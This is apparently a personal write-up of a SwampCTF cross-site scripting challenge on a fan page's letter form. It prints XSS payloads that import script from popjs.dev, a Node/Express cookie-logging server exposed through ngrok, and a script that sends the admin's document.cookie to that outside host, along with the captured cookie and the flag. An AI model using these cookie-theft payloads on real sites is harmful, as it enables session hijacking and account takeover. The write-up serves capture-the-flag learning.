Background
This was one of the mid-range CTF challenges in this year’s SwampCTF (The first CTF I ever took part in, back in 2023).
The rundown is someone has made a Nicole Scherzinger fan page.
“Sunset Boulevard on Broadway Celebrating the extraordinary talent of Nicole Scherzinger as Norma Desmond in Andrew Lloyd Webber’s masterpiece.”
Our job is to get the flag on the admin dashboard.
As a bonus, we’re given a hint. https://artoo.love/. Making an account we can see a couple payloads.
<svg onload="import('//popjs.dev/hoIji')"></svg>
<script src='//popjs.dev/hoIji'></script>
jaVasCript:/*-/*`/*\`/*'/*"/*%0A%0a*/(/* */oNcliCk="import('//popjs.dev/hoIji')" )//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3ciframe/<iframe/oNloAd="import('//popjs.dev/hoIji')"//>\x3e
Part 1 - Using Frieza XSS Hunter
Pretty Cool Dashboard
After submitting a malicious fan letter, we indeed now know that it is vulnerable to XSS. Looking at the handy screenshot we can see:
I decided to try out another one of their examples. And you can see someone trying some kind of template injection at the same time as me.
Finally, checking out “View Data”, we can see the flag in the cookie.
But you see there is a twist to this success…
A paywall! Oh no, what will we do!?
Funnily enough I did this next part first before realising the flag was here the whole time, just because I thought I had used all my requests and had to pay…
Part 2 - Let’s make it for free!
I created this quick and simple server with Node.js and Express
const express = require("express");
const bodyParser = require("body-parser");
const app = express();
const port = 3000;
app.use(bodyParser.json());
app.post("/", (req, res) => {
console.log("URL:", req.body.url);
console.log("Cookie:", req.body.cookie);
res.status(200);
});
app.listen(port, () => {
console.log(`Server is listening on http://localhost:${port}`);
});
node server.js
Server is listening on http://localhost:3000
and testing it out, it worked perfectly!
curl https://localhost:3000/ –request POST -H “Content-Type: application/json” –data '{"url":"url","cookie":"cookie"}'
Server is listening on http://localhost:3000
URL: url
Cookie: cookie
Great, localhost works, but how can I make this server accessible without paying for a service?
Introducing ngrok! It’s free and super easy to use.
It’s as easy as making a free account, getting your token, and typing:
ngrok http 3000
And just like that, my localhost:3000 server is able to be accessed by anyone through my ngrok link.
https://dfae-58-104-30-22.ngrok-free.app
Now it’s time for the XSS payload.
I made a simple XMLHttpRequest to send the document.cookie and window.location.href to my desired server.
(https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)
<script>
var request = new XMLHttpRequest();
request.open("POST", "https://dfae-58-104-30-22.ngrok-free.app", true);
request.setRequestHeader("Content-Type", "application/json");
request.send(
JSON.stringify({
cookie: document.cookie,
url: window.location.href,
})
);
</script>
Testing it in the fan letter submission, we wait and…
Bingo!
URL: http://172.30.0.2:3000/admin/dashboard
Cookie: admin-auth=authenticated; swampCTF=swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}
FLAG
swampCTF{THIS_MUSICAL_WAS_REVOLUTIONARY_BUT_ALSO_KIND_OF_A_SNOOZE_FEST}